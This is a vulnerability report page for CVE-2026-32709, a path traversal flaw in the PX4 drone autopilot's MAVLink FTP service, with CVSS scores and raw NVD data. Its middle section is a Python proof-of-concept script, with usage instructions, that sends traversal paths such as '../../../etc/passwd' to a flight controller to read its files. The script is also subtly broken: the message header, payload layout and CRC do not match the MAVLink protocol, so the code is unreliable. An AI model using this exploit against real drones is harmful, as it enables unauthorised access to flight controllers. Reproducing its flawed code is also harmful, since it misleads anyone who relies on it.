Security Vulnerability Report
中文
CVE-2026-32709 CVSS 5.4 MEDIUM

CVE-2026-32709

Published: 2026-03-16 14:19:42
Last Modified: 2026-03-16 19:03:39

Description

PX4 autopilot is a flight control solution for drones. Prior to 1.17.0-rc2, An unauthenticated path traversal vulnerability in the PX4 Autopilot MAVLink FTP implementation allows any MAVLink peer to read, write, create, delete, and rename arbitrary files on the flight controller filesystem without authentication. On NuttX targets, the FTP root directory is an empty string, meaning attacker-supplied paths are passed directly to filesystem syscalls with no prefix or sanitization for read operations. On POSIX targets (Linux companion computers, SITL), the write-path validation function unconditionally returns true, providing no protection. A TOCTOU race condition in the write validation on NuttX further allows bypassing the only existing guard. This vulnerability is fixed in 1.17.0-rc2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:dronecode:px4_drone_autopilot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:alpha1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:rc1:*:*:*:*:*:* - VULNERABLE
PX4 Autopilot < 1.17.0-rc2 (NuttX平台)
PX4 Autopilot < 1.17.0-rc2 (POSIX/Linux平台)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-32709 PoC - PX4 Autopilot MAVLink FTP Path Traversal This PoC demonstrates reading arbitrary files from PX4 Autopilot filesystem. Note: This is for educational and authorized testing purposes only. """ import socket import struct import sys # MAVLink FTP Message IDs MAVLINK_MSG_ID_FILE_TRANSFER_SESSION = 0 MAVFTP_OPCODE_READ = 1 MAVFTP_OPCODE_READ_ACK = 129 def create_mavlink_ftp_message(opcode, session, offset, data): """Create a MAVLink FTP message with path traversal payload.""" # MAVLink header (10 bytes for MAVLink 2.0) magic = 0xFD payload_len = 12 + len(data) incompatibility_flags = 0 compatibility_flags = 0 packet_sequence = 1 system_id = 255 # Ground station component_id = 190 # MAVFTP component # MAVLink message ID for FileTransferSession msg_id = 110 # MAVLINK_MSG_ID_FILE_TRANSFER_SESSION # Build payload: opcode(1) + session(1) + offset(4) + size(4) + data payload = struct.pack('<BBIII', opcode, session, offset, len(data), 0) + data # CRC calculation would go here (simplified for PoC) crc = 0 header = struct.pack('<BBBBBBH', magic, payload_len, incompatibility_flags, compatibility_flags, packet_sequence, system_id, component_id) message = header + struct.pack('<I', msg_id) + payload crc_payload = header[1:] + struct.pack('<I', msg_id) + payload # Calculate CRC crc = crc16_calculate(crc_payload) return message + struct.pack('<H', crc) def crc16_calculate(data): """Calculate MAVLink CRC16.""" crc = 0xFFFF for byte in data: crc ^= byte for _ in range(8): if crc & 1: crc = (crc >> 1) ^ 0xA001 else: crc >>= 1 return crc def exploit_path_traversal(target_ip, target_port, file_path): """ Exploit path traversal to read arbitrary files. Example: file_path = '../../../etc/passwd' """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: # Craft path traversal request payload = file_path.encode('utf-8') + b'\x00' # Create READ request (opcode 1) request = create_mavlink_ftp_message( opcode=MAVFTP_OPCODE_READ, session=0, offset=0, data=payload ) print(f"[*] Sending path traversal request for: {file_path}") sock.sendto(request, (target_ip, target_port)) # Receive response response, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}") print(f"[+] Response length: {len(response)} bytes") return response except socket.timeout: print("[-] Request timed out - target may not be vulnerable or not reachable") return None except Exception as e: print(f"[-] Error: {e}") return None finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 poc.py <target_ip> <port> ") print("Example: python3 poc.py 192.168.1.1 14540 '../../../etc/passwd'") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) file_path = sys.argv[3] exploit_path_traversal(target_ip, target_port, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32709", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:42.140", "lastModified": "2026-03-16T19:03:39.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PX4 autopilot is a flight control solution for drones. Prior to 1.17.0-rc2, An unauthenticated path traversal vulnerability in the PX4 Autopilot MAVLink FTP implementation allows any MAVLink peer to read, write, create, delete, and rename arbitrary files on the flight controller filesystem without authentication. On NuttX targets, the FTP root directory is an empty string, meaning attacker-supplied paths are passed directly to filesystem syscalls with no prefix or sanitization for read operations. On POSIX targets (Linux companion computers, SITL), the write-path validation function unconditionally returns true, providing no protection. A TOCTOU race condition in the write validation on NuttX further allows bypassing the only existing guard. This vulnerability is fixed in 1.17.0-rc2."}, {"lang": "es", "value": "El piloto automático PX4 es una solución de control de vuelo para drones. Antes de la versión 1.17.0-rc2, una vulnerabilidad de salto de ruta no autenticado en la implementación FTP MAVLink del piloto automático PX4 permite a cualquier par MAVLink leer, escribir, crear, eliminar y renombrar archivos arbitrarios en el sistema de archivos del controlador de vuelo sin autenticación. En objetivos NuttX, el directorio raíz FTP es una cadena vacía, lo que significa que las rutas proporcionadas por el atacante se pasan directamente a las llamadas al sistema del sistema de archivos sin prefijo ni saneamiento para operaciones de lectura. En objetivos POSIX (ordenadores compañeros Linux, SITL), la función de validación de ruta de escritura devuelve 'true' incondicionalmente, no proporcionando ninguna protección. Una condición de carrera TOCTOU en la validación de escritura en NuttX permite además eludir la única protección existente. Esta vulnerabilidad está corregida en la versión 1.17.0-rc2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "2FC2D6F1-D77D-44C2-A99C-55CB5A4474B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "033A0A82-2986-44D5-A712-47B8D43407FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "3F2EA96E-BC3A-42AB-B81B-53D5872B2296"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "1EAC5320-8D94-477D-AB85-144F8218DDFB"}]}]}], "references": [{"url": "https://github.com/PX4/PX4-Autopilot/security/advisories/GHSA-fh32-qxj9-x32f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}